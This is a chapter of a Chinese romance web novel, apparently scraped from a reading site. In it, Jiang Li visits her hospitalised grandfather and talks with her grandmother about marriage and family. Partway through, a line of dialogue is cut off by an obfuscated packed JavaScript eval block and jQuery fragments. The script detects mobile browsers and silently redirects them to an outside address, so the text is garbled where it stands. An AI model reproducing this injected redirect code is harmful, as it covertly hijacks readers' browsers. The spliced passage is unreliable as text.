147.对你好吗?

作品:《不可食用景观[久别重逢]

    十一月的北城已经没有绿色。


    冰雨洗刷过的漆黑路面,连金黄色都残缺不全。


    裸露在外的皮肤,哪里见风哪里冷。


    好在特护病房提早供暖,姜尽山只盖一条薄,脸颊微红,看上去已无大碍。


    守在床边的姜梨一边抽搭一边翻看医嘱。


    方朝凌也在一旁小声安慰。


    “没事了,医生都说先住三天观察,没有症状就可以回家。他都八十多了,哪还能和年轻时候一样?”


    话是这样说。


    但方朝凌皱起的眉头和潮湿的泪沟却暴露了所有担心。


    姜梨红着的眼睛瞄了瞄两人。


    “小保姆要是不打电话,还准备瞒我多久?”


    陈旧性脑梗极容易复发。姜丰出差,要不是担心到时候连个商量的人都没有,小保姆也不会火急火燎地给姜梨去电话。


    “以后饮食要注意,控糖控盐控油。我会和小保姆说,爷爷要照做听见没有。”


    她正说着,病房门一开,罗序挤了进来。


    一只手拎着三个购物袋,水果、点心、牛奶还有红肠缀得手指都有些变形。


    另一只手里是四盒保健品,一看就是附近药店买的。


    情况紧急,也着实难为他了。


    罗序艰难地找个地方安置下来,再转身刚好对上姜梨气得泛红的猫眼。


    一时手足无措地杵在原地,看看老两口,又看看姜梨。


    他刚进屋,什么都没干吧。


    方朝凌赶忙拍拍姜梨手背,小声道,“医院里不要吵架。”然后招招手,把罗序叫到跟前,慈爱地看着两个人。


    “蜜月都去哪儿玩了?姜姜有没有……”方朝凌期盼地看了看她小肚子。


    姜梨扶额,知道方朝凌又记错了。把上次离开错记成了两人蜜月旅行。


    因为她离开没和家里打招呼,方朝凌还担心过好久。


    这下好不容易忘了,姜梨不忍再提,只能顺着说。


    “我们在意大利呆了段时间。要不是爷爷生病,我还想去古堡和教堂看看呢。”


    方朝凌脸上终于露出宠溺的笑容。


    她指尖点点姜梨眉心。


    “现在改口了,不是刚才唠叨我们瞒着你的时候了?”


    又转头对罗序抱怨道,“你就惯着她。真有打算就早点要,比晚了强。你们现在年轻,我们还都在,起码有个帮衬。”


    “知道了奶奶,我们会……”


    “才不给他生呢!”


    姜梨赶忙打断,一转头,后脑勺对着罗序。


    都没结婚呢,还好意思承认。


    她是怕方朝凌担心。可罗序这样让她有被胁迫的感觉。


    见她改口,罗序只能顺着她的意思。


    “暂时没计划,集团现在好几个项目上马,能抽出时间旅行已经很不容易了。怀孕是大事,自然要慎重,我怕照顾不好姜姜。”


    他说着,大手揉了揉松散的发尾,指尖撩过脖颈,若有似无地挠了挠。


    一股温暖的电流酥酥麻麻地爬过脊背。姜梨这才回头瞄了他一眼,眼底满是笑意。


    “把那红肠给我掰一块。”


    一直在旁边假装睡觉的姜尽山终于睁开眼睛。


    怕姜梨唠叨,不得不躺下佯装疲惫。


    可眼见着没人管得了这丫头,他不得不起来。


    “不让吃。”


    姜梨一把拽住要行动的罗序。


    医生再三叮嘱,服药期间要清淡饮食。红肠属于重油重盐的腌制品,严重违背医嘱。


    她又重申一遍,“医生特意说了,不能吃。”


    姜尽山眼睛一瞪。


    “我饿了,还不能吃点东西了。快给我。”


    ……


    最终,以罗序敬献一小截红肠,姜梨被方朝凌拉出去才算结束。


    姜尽山细细品着美味,病房归于安静。


    离开病房,穿过暖廊,再走十分钟就出了住院部,扑面而来的冷空气让人禁不住打个哆嗦。


    旁边紧邻这医学院。确切地说,这间医院是医学院的附属单位。因为有医学院,每年才有成批的医院生源源不断地进入这家三甲医院。


    过了马路,方朝凌挽着她进了校园。


    图书馆一楼开了间咖啡馆,两人找了个靠窗位置坐下。


    姜梨点了杯咖啡,她知道奶奶爱喝意式浓缩,怕年岁大了胃肠脆弱,又加份甜点。


    咖啡端上来前,方朝凌一直目不转睛地凝视姜梨,仿佛下一刻她就又飞了。


    服务生退下去后,姜梨的手背就被温暖覆盖,是奶奶干燥而清瘦的手掌。


    像枯枝拂过嫩草,带着疼惜与不舍。


    姜梨反手握住,眼眶酸酸的。


    “他对你好吗?”方朝凌的声线带着女性独有的慈爱,并不显苍老。


    姜梨笑着点点头。


    “很好。像爷爷对你一样,像爸爸从前对妈妈一样。”


    是的,只能是从前。


    她睫毛缓缓眨了眨,笑容更真挚。可方朝凌还是不放心地上下打量一番。


    “那怎么瘦了?看着气色也不好,可别像朵朵似的,明知道不好还强撑。”


    “奶奶,你怪不怪我,把朵朵和沈时推到一起。”


    她指尖不由得蜷缩起来,在温暖的掌心下鼓起一个小包。


    “两个彼此没有感情的人,任凭天王老子来了,也推不到一起去。就像互相喜欢的人,谁也分不开是一个道理。”


    方朝凌温暖的手掌又包了包,眼底稀碎的光颤巍巍的。


    她仿佛什么都能忘记,却又什么都懂得。


    “朵朵太固执。路走错了可以重来,嫁错人怎么就不行呢?她那个年纪,守着沈时有什么好的。为了当初的错误,搭上自己一辈子,年纪轻轻,想不开。”


    提到小一辈的闹心事,方朝凌总是困惑不解。怎么生活好了,社会进步了,烦心事却一样不少。


    她不放心地又追问,“他对你真的好吗?别骗奶奶。”


    姜梨抿抿唇角,缓慢地眨眨眼,说了声“很好。”方朝凌这才放心,但还小声咕哝着,“我瞅着气色还不如走之前,是不是没好好休息呀。”


    “可能吃不惯那边的东西吧。”


    上江饮食和北城有很大区别。


    她是个贪嘴的,但吃不到家乡菜,纵使山珍海味进了肚,也像少了魂似的。


    “那就回来嘛。奶奶想你。以前虽说不总见到,好歹一个月至少还能看一回,现在天天不见人。也不知道那边有什么好呆的。”


    方朝凌这一说,姜梨就知道她又记起自己偷偷跑去上江的事。


    她收回胳膊,捧着温热的白瓷杯,认真地看向对面。


    “奶奶


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17285357|187902||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,你总说我年轻。年轻有好处也有坏处。”


    好处自然是大把的时间和机会;坏处也是不经世事,差了些经验教训。


    “我现在刚二十六,不抓紧这大好时光去尝试怎么行。越往后,留给犯错的时间和空间就越少;年岁越大,容错率就越低。不趁现在去折腾一番,老了不后悔吗?”


    “说你一句,八百句等着。”


    方朝凌撤回手,叹口气,说,“你是小。可他呢。三十多了。男人这个时候不定下来,以后怎么办。再过十年,你在他眼里又不一样了。到时候,你有没有他手里的项目重要都说不定。”


    身为大学老师,方朝凌太知道年轻人面对事业、爱情、家庭时需要做出的抉择有多么艰难。


    她更不想让自己最疼爱的孙女陷入被权衡的境地。


    姜梨自然明白这份苦心。


    她安慰地拍拍奶奶手背。


    方朝凌手背的皮肤很柔很脆。她不敢用力,拍了两下就摸了摸。


    “放心吧,奶奶。就试这一次,好歹也要去参加比赛呀,我都报名了。等转过这一圈,我们就结婚。到时候你和爷爷跟我去那边住。”


    上江气候虽不及爷爷奶奶疗养的海滨城市,但冬季气温较北城高许多,空气湿度也高,对姜尽山的病十分友好。


    “你爸爸呢?还介意?”


    方朝凌噙着嘴角,鼻子里叹了声。


    姜梨别扭地一歪头,“他不是带学生嘛。”


    病房里,姜尽山早就吃了一整根红肠。


    罗序叉着胳膊守在一边,时不时警觉地往门口看。


    “行了。和她奶奶出去,没这么快回来。”


    姜尽山自然知道老伴儿帮自己打掩护。


    这最后一根红肠必须好好享受。以后遵从医嘱,这些自然能不吃就不吃了。


    “沈时最近没消息?”


    因为沈时沈毅两人联合栽赃姜尽山,导致整个住建系统倒查二十年。


    结果翻出他提拔过的下属,早就和沈时狼狈为奸,还企图把罪名全栽到已经退休的姜尽山头上。


    所以,此时姜尽山的问询只是要知道对方的动向,并非关心。


    罗序自然知道这一点,语气恢复秉公办事的冷漠。


    “和别人成立了一个科技公司,专门搞联合研发。还有一个小型传媒,弄一些小网红之类的。总之,挣些快钱。他本人倒是神出鬼没的,但想找总有蛛丝马迹可寻。”


    建工集团实行经理人制度,与沈家人彻底脱离关系,罗序成为控股股东,集团没有归入上江古建下属也未划入罗氏集团名下,总算没有辜负沈正道临终嘱托。


    一切尘埃落定没多久,沈时就不见踪影。但他和沈毅对姜家的所作所为的确伤人。


    因此,罗序在姜尽山面前总有些难以言说的心虚。


    “他是他,你是你。我只要他不在北城即可。”


    姜尽山似乎看透了罗序的心思,不耐烦道。


    “我说你怎么回事。和姜姜来来回回这么久了,我什么时候能抱上重孙?”


    “不是,爷爷,姜姜她……”


    “爷什么爷?你都没娶姜姜,别叫我爷爷。”


    姜尽山脾气上来不比姜梨差。一句话怼得罗序哑口无言。


    他憨憨地搓搓手。


    “就算没有亲缘关系,我也得称呼您一声姜爷爷。”